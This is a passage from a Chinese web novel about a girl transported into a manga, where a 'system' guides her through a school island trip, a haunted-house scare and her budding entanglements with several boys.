一下子又恢复了漫不经意的懒散样。 阮柚笑了两声,后别开了脑袋。 “不、要。” 开玩笑! 要她罩着他,不怕她临时起意,把他卖了呀?- 回了班级,顾叙正在听歌。 他戴的是头戴耳机,白色的,温柔侧脸杀惹的女生不时偷看。 她们议论的很小声,就像阮柚走过的脚步声一样。 “顾叙,好忧郁温柔哦~” “他在画什么呢?是落在窗台的那朵白色玉兰花吗?” “是吗?他哪里画的是画,而是刻在心里的人。” “什么?他的心里有人了?” “我稍微文艺一下而已,你不懂我。” 阮柚默默将书包放在了课桌。 余光准确无误落在了顾叙桌前,是一张写满公式的草稿纸。 咳。 刚坐好,感受到身边少年手肘的温度。 凉凉的蹭过来,异样的陌生。 顾叙微顿,笔落在桌上。 “抱歉。” 阮柚没放在心上,说了句没关系,见他眨了眨睫,将耳机摘了下来,“什么?” 对方好奇想要听清,侧过身,手肘压在了桌面,距离一下靠的有些近。 连眉间褐色的痣都能看见。 阮柚不太习惯这样的距离,听他轻声问,“刚才在说什么?” “我说,没关系。” “哦。” 顾叙微微颔首,觉察到越了桌线,安静退了回去。 桌面重新整理好,阮柚听见他很轻地问,“怎么现在才回来?” 她含糊带过,“路上遇到些事。” 顾叙没再问,语气平静,“听说成玉去找你了。” “嗯。” “阮柚,你和成玉关系很好吗?” 他合上钢笔,笔冒磁吸冷清碰撞,一切如常。 阮柚不假思索:“一般。” “为什么这么问?” 如果她和成玉关系好了,那岂不乱套了。 但顾叙的话,倒是让她忍不住想了想。 最近成玉的表现确实有些反常。就好像,真的关系很好一样? 这时,系统忽地冒出头:“呜呜,你才发现啊。”它发现这个宿主不是一般的迟钝!偏偏最近bug在修,不能时常出没。 阮柚皱眉,正要问什么,忽然听见顾叙一声淡笑,“我知道了。” 她哦了声,没有放在心上。想再问问系统,又听见顾叙不经意问,“我和他,谁比较重要?” 初初听进耳,阮柚心口一跳,握着手里的杯子,对上顾叙的眼睛。 顾叙也在看她。 阮柚的眼睛清凌凌地,如今刚好装着他,没有其他人。 他抿了抿薄唇,指腹扣过钢笔,冷白皮肤渐渐泛起红晕。 是他唐突了,变得不像自己。 “阮柚…” 阮柚喝了口水,平静咽下了下去。 “你问这个干什么呀?” “没关系,我不是非要知道答案的。” 顾叙笑了笑,看见少女空白的试卷,“怎么没写?” 他说得很轻,温柔掀过了上一个话题。 阮柚乐见其成。 实际上,她并没有表面上那么的淡定。在反复盘问系统后,系统叹了口气,留下了好好做任务,类似好自为之的话,就装死下线了。 她一头雾水,听见那句“我和他谁重要”时,差点喝水呛到。 好奇怪的问题! 就好像上辈子,她揪着哥哥的衣角,问他“工作和我谁重要?” 当时装的超委屈,就是想听一句“你最重要。” 而如今… 她暗中观察了顾叙的表情,云淡风轻的,低头睫毛藏着柔光,还是那个对谁都很礼貌的人。 微微舒了口气。 应该是随便问问。 正放空,面前放了只手,指了指试卷。 顾叙:“哪里不会?” “什么?”阮柚慢半拍看过去。 他说,“我教你。” “不不不……” 最后,阮柚还是硬着头皮听了几道题。 原因无他,他那里有好多她爱吃的小零食! 跪倒…- 考完试不久,成绩放了出来。 同时意味着要再一次分班、换位置。 而阮柚和原主的剧情一样考砸了,一下子成了吊车尾,令很多人大跌了眼镜。 班主任谈完话后,她耷拉着脑袋推门走出来,下一秒,眼底的不甘、难过、惆怅纷纷消失不见。 呜,太好啦。 终于看到剧情一大步推进的曙光了。 考砸了,她之后也不能和顾叙坐在一起了。 周围男生女生们蠢蠢欲动,看着并排坐在一起的人,两眼放光。 阮柚正抱着手机玩消消乐,听见有人小声喊他名字。 是个没怎么讲过话的男生。 他结结巴巴,问她能不能当他的同桌。 “我…我数学、作文、物理还不错,以前….还得过全国奥数比赛的亚军。” 话刚说完,身后有人打趣拆台,“我说,要是我没记错的话,奥数比赛不是你在小学的时候得的?” 男生闻言脸都红透了,“你、你闭嘴!” 但其实是事实,所以一时没争辩出所以然。 在喜欢的女孩面前丢了脸,他气的牙痒痒,又小心翼翼地,不敢回过去头。 周围有人啧了声,珠玉在前,怎么会选他呢?不用想就知道,她肯定还会和天之骄子的顾叙坐在一起。 果不其然,阮柚拒绝了。 原因却是,“我成绩太差了,已经和班主任说了,要自己一个人坐。” 少女声音平静认真,话稍说完,男生暗淡的眸亮了起来,死灰复燃。 他们都说阮柚喜欢顾叙,让他别白费功夫,但他不愿相信。 “那我可以坐在——” 你附近吗? 后面四个字还没说完,忽地被打断。 “让开。” 顾叙回了教室,脸颊滴着湿漉的水汽,声音也带着几分冷淡。 他伸手拖椅落座,不知听了多少。 周围静默,看出他心情不悦。 对方显少有情绪这么外露的时候,正所谓最是一把温柔刀,锐利探出,没人再敢动声。 课间铃刚好响了,男生欲言又止,对着阮柚急匆匆比划几下就回到了座位。 阮柚微微蹙眉,她没能看懂手势背后的深刻含义,只是无缘由地,略略感觉到脖颈有些发凉,像是从哪里钻来了寒意。 她摸了摸,异样很快随温度散去。 笔刚好没了水,她在纸上哗啦了两下,余光看了眼顾叙。 嗯,脸上的水已经干了。 清清爽爽,坐的依旧专注笔直。 但饶是她再迟钝,也能感觉到顾叙似乎不是太高兴。 但为什么? 她苦心冥想半天,还是没想到比较合理的解释。 不想了。 下了课,窗外骄阳似火,有花香袭来。她长长吸了一口,很淡,但是很好闻,心情不自觉好了起来。 低哼了几句旋律小曲,阮柚整理书桌,听见顾叙开口,“现在心情很好吗?” 他在看着她,睫毛透下了阴影,唇抿着,等待她的回话。 顾叙的表情很认真,让阮柚不由仔细关注起这个问题。 心情很好…? 平心而论,她现在心情还不错。 但是如果按原漫里那样,女配现在考砸了,又丢了奖学金,怎么说也不能心情好。 阮柚捏了捏手指,理智回归后,她慢慢摇了摇头。 顾叙在看她,只有看着她,心才会宁静下来,没有那么混乱。 见她摇头,眸色深了深。 “没有。” 阮柚低下了眼睛,“我只是在伪装坚强罢了。” 实际上内心千疮百孔。 前世看过很多狗血苦情剧的她,脑袋忽然闪现了这句话。 系统:“……” 顾叙眼神闪了闪,半晌道,“是我不好。” 诶? 阮柚呆住。 “和我坐了同桌,影响了你的成绩。” 顾叙垂下灰眸,白衬衫显得清瘦,搭在桌边的手背泛着青筋。 像在克制隐忍着什么。 “没有。” 阮柚微微瞪大眼睛,怎么会这么想。 她这次是自己考砸了呀! “我成绩下滑和你一点关系都没有。” 见他神色未改,阮柚有些着急,换了个思路一通乱夸,“你很好,…,所以和你做同桌很开心。” 少年终于抬头,本就过分的白,如今顺着脖颈泛着不健康的潮红,阳光下多了暖色。他动了动嗓,压下颤栗的心跳,认认真真叫她名字,声线有些沙哑。 四目交接。 他问她,“我们能不能一直就这样。” 声音很轻。 又恰好是她能听见的声音。 第37章 第三十七章 别怕,是我|海岛旅行…… 阮柚听了, 脑袋一阵轰响。 一直这样?好像在之前,他也说过类似的话。 “我不会打扰你学习。” 顾叙吸了口空气,牵唇一笑。 只有他们俩, 没有其他人,这是他想要的。 认清心事后,他反而平静了下来。 与顾叙的平静不同的是, 阮柚端坐着, 听见系统传来了警报声。 在提醒她出现偏转,注意维护剧情。 阮柚掩下浓密的睫毛, 迟迟忘不了那对灰眸。 温柔明亮,又混着异样的执拗。 仿佛真的很想要一个答案。她莫名有些紧张,思绪一下子乱糟糟。 顾叙应该说的是同桌那件事,而知道自己不能答应, 阮柚还是摇了摇头,又下意识对他解释了起来。 和先前对男生说的理由一样。 没有讲假话, 她真的和班主任提了。 顾叙喉结稍滚, 好半晌回话, “原来是这样…只要你不是讨厌我就好了。” 最后那句话说的不经意, 如果不是她坐在旁边, 是很难听见的。 阮柚闻言,挥了挥手,玉白的脸庞因激动浮现红晕, 否认道, “我发誓, 绝对没有这个意思。” 她不想造成任何的误会。 反应有些大,顾叙一时愣了愣,唇线抿直。 阮柚眼神诚恳, 亮亮的,又开始夸赞起顾叙,单是请她吃喜欢的零食点心,就已经是很好很好的人了。 总结起来,就是他真的很好。 她一向客观公正。 顾叙缓慢绽开了笑意。无关话语,他只是觉得这样的阮柚很可爱,灵动又鲜活,让人忍不住想靠近。 见他终于笑了,阮柚终于落下了心。 唔,所以不要多想啦。 “好,我知道了。”那我要坐在你附近。 最后一句话没有说出来,他忽地想起先前的男生,也会是同样的想法吧。 顾叙转了转笔,目光淡下来。 铃声响起后,班主任丢出了个好消息。学院临时安排考完试的学生去海岛游学旅行。 定在了明天。 台下欢呼声一片,阮柚双手捧着脸,也跟着一起笑。因为系统刚才告诉她,这段原剧情里是没有的。她的出现,或多或少带来了蝴蝶效应。 但—— 这就意味着她能想玩什么就玩什么了。 “这么开心啊。” 被身边人感染到,顾叙唇角也挂上笑意。 听在旁人眼里,多了层宠溺意味。后桌的同学嗅到了空气甜滋滋的气息,拿余光疯狂偷瞄。 “对呀,难道你不开心吗?” 阮柚扭过头,满眼是未散的笑意。 “很开心。” “见你开心,他更开心了。” 后排幽幽飘来了一句话,出现的神不知鬼不觉,待阮柚疑惑回头看时,那人看了眼顾叙的方向,朝她咧开嘴角笑,“我开玩笑的。” ……不好笑! 阮柚抿了抿唇,这句玩笑话怎么听都有点怪怪的。 最近天气都很好,只是阳光有些烈,照得有些睁不开眼。次日集合时,阮柚戴了个遮阳帽,一个人站在队伍的小尾巴。 视野略略遮下,整个世界也清静了很多。 她不自觉地回想昨天晚上做的噩梦。 梦里她跑呀跑,不时回头看在身后追的几只狗,怎么都不敢停,直到鞋带绊倒了她,才彻底认了命。 可下一秒,凶巴巴的狗变小了,围在身边蹭来蹭去,委屈说起了人话,“我只是不想你丢下我。” 惊醒后,她摸了把额头的汗,直觉荒谬。 于是顶着眼底鸦青,她坐上了去海岛的船。海风吹的人很舒服,阮柚正瞧着海面出神,成玉不知道从哪里冒了出来。 两人打了声招呼。 他今天穿的很简单,白T黑裤,头发比之前更短,棱角愈发利落。 阮柚忽地看出哪里不一样。少年冷白脖颈有了刺青,很小的蝴蝶,像不经意的一次栖息。 她多看了几眼。 唔,还挺好看的。 成玉摸了下脖子,看向面前的少女。 她很白,阳光下显得几乎透明,淡蓝长裙勾勒出漂亮的肩线,怎么看都很好看。 他一直看。 “等会去哪里玩?” “还没想好。” 到那里在想好了。 成玉颔首,刚要再说什么,不远处有集合的声音。 原来是快到了。 阮柚于是和他告了别,小跑回了那边的大队伍。 成玉单手插着兜,站在原地看她,少女背影也很漂亮,就像掌心触在那个刺青上。 这是他心血来潮的决定,它刻在肌肤、像温度般融在骨血,永远都不会抹去。 只是因为,觉得像她而已。 — 这边,阮柚背上了单肩包,听着前面的注意事项。看似听的入迷,实际上灵魂不知道跑哪去神游了。 顾叙看了眼她一眨不眨的睫毛,唇角微扬。 他安静伸出手,将糖塞了过去。 动作很轻。 人群悄悄的小动作,让阮柚忽地定神,下意识挺了挺腰杆。 没等到老师巡逻,等来身边一声轻笑。 她回过神后抿了抿唇,指腹捏了捏,又低眸瞧,是一块薄荷糖。 转过头,直直对上顾叙。 谢谢。 还有,笑什么笑!把刚才看到的统统忘记。 阮柚眨眼。 顾叙很快收住了笑,可能是还在憋笑,耳尖都泛着红。 可以称得上显眼,人一散开,阮柚听见身后有人疑惑问顾叙,“顾叙,你的脸怎么这么红啊?今天很热吗?还是不舒服啊。” 顾叙说了什么倒是听不太清,他讲话慢条斯理地,很快落在周围的聊天声里。 阮柚抬了抬唇角,心情莫名开始变好,拆开薄荷糖放进了嘴巴。 海风一吹,凉爽涌到喉咙,瞬间散了那点难消的睡意。 她再一次想感谢顾叙。 唔,现在终于是睡醒了。 度假海岛景色宜人,娱乐设施也很齐全。阮柚走过细细的沙滩,深一脚浅一脚的,踩起来很舒服,只是有一点不太完美。 今天她出门急,没什么时间想该穿什么鞋,随便穿了板鞋就出门了。 现在踩了满鞋的沙,走路说不出的难受。 她正想着找个地方倒沙子,而这时,见她一个人落在后面,前面几位同学以为她出了什么事,走过来关心她的情况。 阮柚指了指鞋子,正要说什么,余光出现了成玉。 “怎么了?是哪里伤到了吗?” 他从人群走出来,满眼关心的询问。 “这里有医院,我陪你去。” “怎么了?”顾叙从身后过来,目光微顿,“阮柚?” 阮柚一时插不上话,见这越来越收不住的局势,解释的飞快,“我一点事都没有我只是鞋子进沙子了。” 一通话没有停顿,话一说完,一时静默。 成玉喉结微滚,“哦,原来是这样啊。” 顾叙:“需要换双鞋子吗?这里有商店,我可以带你去。” “那我也去。” “你不记路。” 顾叙轻描淡写。 “谁说老子不记路?!” 成玉彻底急了。 见两人来回不停的争辩,阮柚脑子一时发嗡。班里同学面面相觑,嗅出了几分八卦的味道。 于是看热闹不嫌事大,将目光聚焦给了当事人。 想看她的反应会如何,没想到下一秒,对方转过了身,迈开步子跑到了不远处的水泥台阶。 倒、倒沙子。 嗯。 阮柚重新绑好鞋带,不知倦地敲系统,终于让它上了线。 “你也觉得他们最近越来越奇怪了?” 她眨了眨眼睛,回忆一番后,越发的笃定起来。 没错! 不是幻觉。 “是的。”系统稍顿,凭数据分析:“他们将注意力放在宿主身上的时间过多了。” “所以,你现在要做的,是适当远离他们。” 阮柚将系统那句话狠狠记在了心里。 她很想回家,因此不想因为这些出现偏差。 于是当他们邀请她去游乐园时,她果断摇头,装困窝在了酒店一上午。 但好不容易都来了,怎么可以躺床上玩消消乐虚度时间呢? 所以当李稚邀请她去新开业的沉浸式鬼屋玩时,她想都没想就点头了。 原因有两个。 第一,她自认胆子超大。 第二,成玉有个最不为人知的秘密,就是怕鬼。 漫画里,纵使他再怎么肆意酷炫拽炸天,也逃不开小时候看恐怖片被吓到,从此怕鬼的事实。 所以她套了件外套,就跑去和李稚见面了。 今天对方化了妆,涂了很红的口红,看起来霸气漂亮,阮柚忍不住夸了句,听她语气认真,“我是为了给自己壮胆。” 她半开玩笑,“必要的时侯,还能吓吓鬼呢。” 阮柚闻言扑哧一笑。 但她很快就笑不出来了。 鬼屋人流不多,漆黑又安静。唯一几盏小灯镶在潮湿石墙上,散发着幽暗的冷光。 阮柚的心提到嗓子眼,走得很慢,竭力观察周围动静。而这时,忽然听见身边的李稚嗷的惊呼一声,整个人往后弹开,“什么东西!” 心陡然一颤。 路很黑,阮柚走了过去,借着手机光看,又试探地踢了一脚。 “没事,是假的蜘蛛。”她抬眸。 “真的是假的吗?” 李稚手蒙着眼,声音略有哭腔,显然被吓得不清。 “真的,它的眼睛比我们的都大。” 话一说完,紧张的空气有所缓和。 李稚扯了扯唇,握住阮柚的手,微微平静了下来。 她勉强一笑,“要不我们回去吧?我是听别人说刺激才来的,没想到这么吓人。” “好呀,我们换个地方玩。” 阮柚没什么意见,她其实也开始害怕了,还不如去海边吹风呢。 两只手黏在一起,攥了一把汗。 可刚转身走了没多久,李稚不知推开了那扇门,触发了NPC的机关。 满头白发的男鬼跳了出来,三百六十度回旋完美落地,狠狠震撼了两人。 见面前两人僵在原地,NPC男鬼觉得自己的威严收到了挑战,拿出爪子冷酷无情地挥了挥空气。 喂,给点面子! 这一挥舞不要紧,直接把人吓了回来。 鬼! 鬼啊!!! 真的啊啊啊啊啊啊! 两人飞速转过身,朝着光亮跑。 直到跑到胸口发闷,嗓子隐泛腥甜,阮柚才撑着墙壁停了下来。 她发誓,再也不来这种鬼地方了,呜。 而后知后觉,阮柚抬头看了眼静悄悄的周围,喊了声李稚的名字。 无人回应。 只有不知哪里透来的冷风。 她裹了裹外套,只能连走边找。 吸取先前教训,连地方的假草都不敢碰。 以后再也不敢说自己胆大了。 然而,在一个墙面掉皮的转角处—— 正正好和一只鬼四目相接。 女鬼NPC甩了甩脑袋,正要冲过去吓人,眼前扫过一阵风。 诶? 人呢? 见鬼了?不对呀,她才是鬼! 阮柚这次反应很快,这次尖叫都忘了,条件反射地跑。 以百米冲刺的速度。 虽然知道是假的。 但是,真的很吓人!! 系统难得见宿主跑这么快过,忍不住冒出头赞美。 然而就像耳后闪过的风一样,来去无痕,没有被听见。 感觉身后没了动静,阮柚略微放慢脚步,忍不住地往后探脑袋。 应该没了吧? 心里这般想,正要松一口气,熟料下一秒转头,直直撞在一个人身上。 !!! 鼻尖发疼。 四周视野很暗,空调吹着凉风。 绷紧的敏感神经被踩了一脚,寒意一下从心脏蔓延到脊背。 阮柚呼吸猛的一滞,猛的后退,却一个重心不稳,往身后的空气栽去。 而这时,腰肢被迎面揽过,对方略倾下身,单手穿过她的头发,将她整个人揽在了怀里。 一时间,隔着单薄衣衫,心跳仿佛几近重叠。 阮柚下巴落在肩膀处,挣扎力道随着声音渐渐消减、安定。 她颤了颤睫毛,迟钝感觉到温暖。 少年有一搭没一搭抚摸她的头发,“别怕,是我。” 第38章 第三十八章 我什么都没看到!|海岛旅…… 呼吸落在颈边, 平稳又绵长。周围静悄悄地,偶尔传来远处的水流声,滴答敲击着耳膜。听出来声音是谁, 阮柚缓慢松开揪住衣摆的手,往后退开了两步,对上顾叙的眼睛。 少年也在看她, 借着虚虚透来的微光, 将她所有的情绪收在眼底。 自然也没错过那闪过的脆弱。 心被突然撞了下,针扎般泛着麻。 一时静默。 顾叙抬起了手, 很轻地握住她的下巴。 “听话,先松开。我在这里,不用害怕了。” 他低下头,黑发略略遮住了眼皮, 声线很温柔。 阮柚如梦初醒,抖了抖睫毛, 慢半拍松开咬住唇瓣的牙齿。 无意识的行为状态, 要不是顾叙的及时提醒, 她一点都发现不了。 下唇蔓过淡淡铁锈味, 她下意识抿了抿, 才开口,“谢谢你。” 语气有点不自然。 她好奇对方为什么出现在这里,但是对比起来, 她还是更应该先道声谢谢。 心情像是做了过山车, 高高的失重扬起, 又瞬间下降,最后一直到现在,才彻底的平息了下来。 顾叙弯唇笑, 暖意融在了眉眼,不知想到了什么。“阮柚,不用对我说谢谢。” 因为能够被她需要,对他来说就足够了。 “不要用舌头舔,容易发炎感染,等出去了我们再处理。” 他继续道。 “嗯,好。”阮柚很听话的照做了,还是问出了心中的疑惑,“你为什么会在这里?” 顾叙眼神闪了闪,回话,“因为刚好路过,看见你来了,我就进来了。” 嗯? 看见她来了,所以进来了… 是想在鬼屋偶遇吗? 正打算回话时,一道冷白的光线倏地直直打了过来。被强光这么一闪,阮柚下意识眯了眯眼,直到顾叙半边身子挡住,才堪堪定住视线。 “阮柚,我终于找……顾叙?” 斜刺里,李稚声音惊喜,很快又被错愕取代,见到眼前画面,握住手机的手差点一抖。 从她的角度里,两人靠的极近。 顾叙站的笔直,以保护姿态将人拢在身边。 而最重要的是——少女单手挽着胳膊,唇上漾起的殷红,星点大小,却潋滟着暧|昧的光泽。!! 李稚瞬间面红耳赤,捂住眼睛,“我、我什么都没看到!” 阮柚:“……!!!”- 海边饮品店,蓝天透净。 解释重复到嗓子开始发干,李稚神色才略略松动,“所以,一切都是误会?” 阮柚的狠狠吸了口冰镇椰汁,“对呀!完全不是你想的那样。”她抿了抿唇,想到不久前的那幕,莫名升起一阵尴尬。 李稚拍了拍脸颊,至今仍在发烫。原因无它,刚才对面两人之间的荷尔蒙简直太强烈了。 她抬眸,仍不死心追问,“真的什么事都没有?” 可他看她的眼神,很难说的上清白啊。 李稚莫名想起前几天刷论坛被秒删的帖子。 同时喜欢一个人,是真的吗? “有事就完蛋了……”阮柚撑着下巴,下意识脱口而出。 “什么?” “真的,我对天发誓。” 阮柚回过神,神色诚恳,同时又想起系统的提醒,试着远离他们好像不是那么容易的事。 因为这个海岛说小也不小,但是活动区域说大也不大,一个圈子基本上抬头不见低头见。 喝完后,两人道别,各自回去睡午觉。 “明天晚上岛上有烟花节,别忘了哦。” 李稚挥了挥手,不忘提醒她。 阮柚笑盈盈点了点脑袋。她没忘记,因为期待,记的很牢固。 前世最后那些天,家人就带她看了漂亮的烟花,绚烂绽放那刻,仿佛黑夜都有了温度。至今仍在记忆里很深刻。 想的出神,忽然有人遥遥叫了她的名字,将她拉回了现实。 确定不是错过,阮柚回过了头。 成玉拿着黑色相机,刚好捕捉到这一幕。 少年小腿被海浪不时扫过,扬头往这边看了过来,金色阳光下,笑的意气风发。 被明目张胆的偷拍,阮柚显得异常平静。 尤其是周围人都在看的情况下。 她迅速扯出一抹笑,挥了挥手,转过身继续往回走。 见人消失在视线,成玉唇角笑意渐渐没了。 不会是生气了吧? 少年心情都写在脸上,所以李何第一反应,就是将他手里摇摇欲落的相机拿了过来。 生怕一不留神,这好不容易抢到的限量相机摔进了海里冲走。 成玉慢吞看了过来,喉结稍滚,“她在生我气吗?” 他刚冲完浪,湿发落在耳边,眉眼全然露了出来,雾蒙蒙的,竟莫名好像在…失落? 李何甩了甩脑袋,边甩开这个怪异的想法,边否认对方的话。 “怎么可能。” 成玉反问:“怎么不可能?” 李何一下被问住了,张了张嘴没说话。 “我要想些办法,让她不生我的气。” 成玉拿回了相机,直直走开了。 而这边,阮柚回去洗了个澡,美美睡了三个小时的觉。 再打开窗帘,外面已经没了阳光,阴沉了下来。 她懒散打了个哈欠,刚起身就听见系统的警报声。 “警报!女主角人身安全受到威胁,请宿主及时矫正剧情。” 她心头一惊,睡意彻底消褪。 出门时,外面已经下起了蒙蒙细雨。斜风擦过裸露的肌肤,微微瑟缩战栗。 阮柚撑开雨伞,跑去茶楼的路上时忍不住问系统,“不是说好没有任务了吗?” 系统也有些心虚,低声回她:“这是某种不可抗力,所以我没有办法预测。” 宁糖和同学约好在小岛的茶楼喝茶,却被故意锁在了鲜有人去的阳台,现在正吹着凉风,叫天天不应。 系统:“因为和剧情主线无关,所以只需要你暗中帮助她就好了。” 把门打开。 茶楼装潢清幽,青色墙壁挂满了漂亮的名家书画,阮柚无心欣赏书画戏曲,问完了路,直奔着二楼去。 阳台门果然是从外面锁着的,紧闭着,隐约能听见细碎压抑的呜咽。 她隔着木门站在那里,想把这扇门打开就闪身,孰料蓄的力不够,一下卡在锈迹斑斑的门拴。 已经跑开两米的阮柚:“…” 一次不行,她只好就此折返,这次打开就顺利多了,可没想到下一秒,那边忽地打开,光线随着凉气就这样透了过来。 以及,许久没见、满眼闪烁泪花的宁糖。 四目相接,一时静默。 阮柚不自然抿了抿唇,看着扑向怀里的宁糖。 “…我以为没人会记得我,原来我在圣煜是有朋友的。” 同学邀请她来这里玩时,她是兴奋的,以为终于被她们接纳,有了朋友。 可从没有想过,她们这次喊她来,却是把她锁在了这里。 “朋友?你这种人,怎么配和我们做朋友!” 只留下冰冷的这句话,至今难忘。 阮柚不擅长安慰人,她能感觉到对方的难过,对方闭了闭眼,眼泪像失了阀,麻木往下掉。 宁糖:“我对她们做到最好,从来不会拒绝他们的请求,为什么她们要这么对我,是我真的不好吗?” 阮柚掏了掏口袋,没带纸巾,只好伸手接住,“你别哭了,是他们不好,他们不值得你去讨好。” 见对方哭的那么伤心,她也忍不住越说越多,“如果什么事都在自己身上找理由,那该有多累呀。” 宁糖眼眸闪烁了下,嘴唇瓮动,似有动容。 而这时,顾叙刚好从楼梯走了下来,他和朋友约了茶室,没想到一出门就见到了这一幕。 低头哭泣的宁糖,和站在她对面的阮柚。 他和友人知会了声,往那边走了过去。 阮柚听见动静眼睛一亮,看顾叙像是如获至宝。唔,现在有什么比男主来安慰女主更合适的情况吗? 系统很配合:“没有。” 一人一统一合计,决定立马开溜。 阮柚:“顾叙,你有纸巾吗?” 顾叙一愣,拿了出来,“擦擦吧,一切都会过去的。” 宁糖安静接过,极小声说了声谢谢。她想,她要听阮柚的话,以后再也不要为不值得、不在乎自己的人流眼泪了。 阮柚本打算安静走来,没想到一抬脚,顾叙转而问,“你去哪里?” 少年灰眸清凌凌的,略带着疑惑。 她摸了摸鼻尖,手指握着伞柄,差一点就脱口而出想要回去。 但念头一成形,就立刻被系统否认了。它斩钉截铁“太明显了,还不如说去看风景呢。” 讲的是有点冷的冷笑话,没想到下一秒,宿主就听了进去。 阮柚扫了眼阳台,不紧不慢往那边挪过去,“我去看会儿风景,你们聊。” 系统:……! 顾叙一怔,盯着背影好半晌,直到眼睛略略干涩。他觉察到一些异样,却暂时没有理清楚的时间。 阮柚其实也想出来透透新鲜空气。 这个能看见大海的阳台确实是个不错的选择。 外面雨势更大了些,白噪音充斥着人耳。 屋檐掉落的雨水不急不缓,她自上往下寸寸往下看,目光却忽地定格在下面某处。 很显眼。 茶楼下立着一个很高的男生,身姿高挑,戴着鸭舌帽,静静站在台阶下,单薄的灰色帽衫浸透大半,隐约凸出清瘦肩骨。 一道背影,不知在想什么,停在模糊雨幕,仿佛迷失了般,归去无期。 阮柚低头静静看,鬼使神差般,撑开雨伞够了过去。直到雨滴在伞面,砸出稀落清脆的动静,才堪堪定了定神。 唔,她在干什么。 这么多雨,动作是多余的。 而要收回伞,身后顾叙走了过来,嗓音温淡,“不要停久了,这里风大气温凉,待久了容易感冒。” 她点了点头,余光察觉异样。 楼下停留的人刚好抬起了头。 少年帽檐笼了大半张脸,略略抬眸时,目光清冷而疏离。 直到隔着空气对视,她才看清是谁。 素日未见的江净理。 他单手支在兜,冰凉雨水顺着下颌线没入衣领,却无知无觉、一动不动看了过来。 第39章 第三十九章 海岛旅行篇 阮柚呼吸一愣, 不知道该怎么形容这样的场景。 雨线迷蒙,淋漓勾勒着他的轮廓,少年孤身浸在雨里, 冷白脖颈微扬,目光就这样投了过来。 黑色帽檐下一双眼睛,平静深刻, 又难以忽视。 静静将一切收进了眼底。 顾叙觉察到什么, 低头去看,眼里闪过读不懂的情绪。 直到看向了身边沉默的人, 手指才短暂松了松。对她来说,他们都是一样的存在。 不知还庆幸,还是该自嘲。 阮柚觉得江净理的状态有些奇怪。 却又说不出在哪里。 总觉得许久不见,他比起之前, 好像更让人看不透了。 阮柚抿了抿唇,想出神了, 连顾叙的话都没怎么听见。 而江净理先一步移开目光。 他的右手拎着纸袋, 几株花探了出来, 连同淋湿的纸袋, 败落着枯萎。 身影融在平直的路道, 越走越远,带着漠然的疏离。 没想到在这里遇见他。 阮柚心底闪过异样,脑海里, 许久未响的声音再次出现。 系统:“请宿主注意维持剧情。” 注意力就这样被拉了回去, 她握着伞柄, 手心凉凉的,水滴顺着手腕滑进了袖摆。 她下意识动了动,半晌, 听见顾叙停在身边问,“真的不冷吗? 他又问了一遍,极有耐心的语气。 阮柚循着声音转去时,一件外套披在了肩膀上。她视线愣了愣,男士外套,衣摆到了大腿,熟悉的气息冷不防地充盈在鼻息。 反应过来后,下意识就是拒绝。 “我不冷……” 等等,她怎么能穿顾叙的外套! 然而手刚一碰到布料,就被轻轻按了下去。 少年的手背筋骨分明,掌心贴了过来,又很快松开,触感不复存在。 阮柚呼吸一僵,迟钝对上他的视线。 眼里清泠泠的,是未褪去的迷茫。 顾叙笑了下,语气如常,“可你的手很凉。” 他抬起头看了眼雨,眉眼柔和,似乎心情很轻松,“这里的风景没什么好看的。” 话题跳转,阮柚一时没接话。 余光瞧见了走来的宁糖,凝了凝神,还是将外套还了回去。 见少年疑惑皱眉,阮柚抬唇,笑了笑,“嗯,我也觉得。” “谢谢你的外套。” “但我还有事,得先走了。” 再见说得利落干净,没留下任何挽留的余地。 事到如今,还是先溜了再说。 她向来是实干派。 等人小跑出了茶楼,阮柚吸了吸潮湿的空气。任务算得上结束,整个人感觉莫大的放松。 然而,上扬的唇角还未持续过十秒,就听见身侧一道声音。 步子倏然一顿。 是谁不言而喻 “阮柚。” 僵硬侧过去身,阮柚眼睛闪了闪,看见江净理走了过来,静静停在了他面前。 唔。 他不是回去了吗! “我在等你。” 似乎看出了她的心事,江净理睫毛垂了下来,“这么不想见到我吗?” 没什么语气,甚至眼睛都没有眨动过,但是就是这样的注视,让她有种说不出的不自在。 想起人设在身,阮柚摇了摇脑袋,“我没有不想见你。” 更何况,不应该是你不想见我吗! 头顶忽地一声笑,意味不明。 阮柚眼睛抬了抬,视线晃悠了过去,果不其然,见到他低头在看她。 被雨淋湿了,黑发滴的水沾在睫毛,凌厉又苍白。 真的不怕冷么。 心软就在一瞬间,阮柚默默抬了抬伞,将雨幕隔在两人之外。 仿佛一下子,在小天地下,两人的声音更分明了些。 “那我等在这里,也不算傻。” 对方说的很轻,像在自嘲说给自己听,阮柚只听到了大概的尾巴,什么傻不傻? 她刚想去问,但察觉到什么,还是咽下了疑惑。 两人现在理得太近了。 江净理很高,阴影遮过了她的视野,而她堪堪踮起脚,才能勉强遮过去些伞。 少年觉察到什么,手指握住一边伞柄,往下落着,直到全然握住一处。 他忽然笑了笑,接过去那把伞。 又摁了下她的肩膀,让她乖乖站好。 “脚踏实地”后,阮柚眉心动了动,表情一瞬怔愣。 可恶…… 长得高了不起。 思绪一下子跑远了。 江净理将小表情收入眼底,唇角微微抬了抬。 他给她撑伞,喉结微滚动,视线更专注了,“阮柚。” “提前祝你生日快乐。” * 回到房间,阮柚洗了热水澡,下巴埋在了枕头里,久久没有动弹。 雨停了,窗帘外天色通透,隐约飘来干净的海风。床上的少女皮肤白皙,在被子里缩成了团。 直到现在,阮柚仍在百思不得其解。 江净理是怎么知道她的生日呢。 毕竟连她自己都不怎么清楚。 掰着指头算算,后天是她生日。 问了系统,系统也没有给出让人信服的答案。 “没关系,反正和任务无关。” 她从枕头下摸出了手机,心里重复过系统刚才的话。 不再去想。 手机在一下一下地震动,她看了眼备注,是阮母。接通后却是阮时的声音。小男孩身体养的差不多,声音也清清亮亮,带了些年龄段特有的活泼。 但对她说话,还是乖的不行。 “姐姐。” “嗯。” “你在那里玩的开心吗?” 有一搭没一搭的回着,阮柚翻了个身,蓦地看见米色墙壁上,爬着一只蜘蛛。 眼皮不由得跳了跳。 听见电话那头满是向往,她还是默默挪开了目光,“我觉得很开心。” “姐姐生日快到了。” 小阮时害羞笑了笑,“我,我给你准备了惊喜。” 半晌,低声补充,“希望会喜欢。” 阮柚一愣,心里软了软。 以前过生日的时候,总是一家人围在一起,等待她吹灭蜡烛。 有时,幸福来得其实很纯粹,能被在意,被惦记,就足够了。 “嗯。” 阮柚睫毛眨动,看着天花板,“说得我现在就开始期待了。” 听见对面轻快的笑声,她无声翘了翘唇角。 阮时天真又可爱。 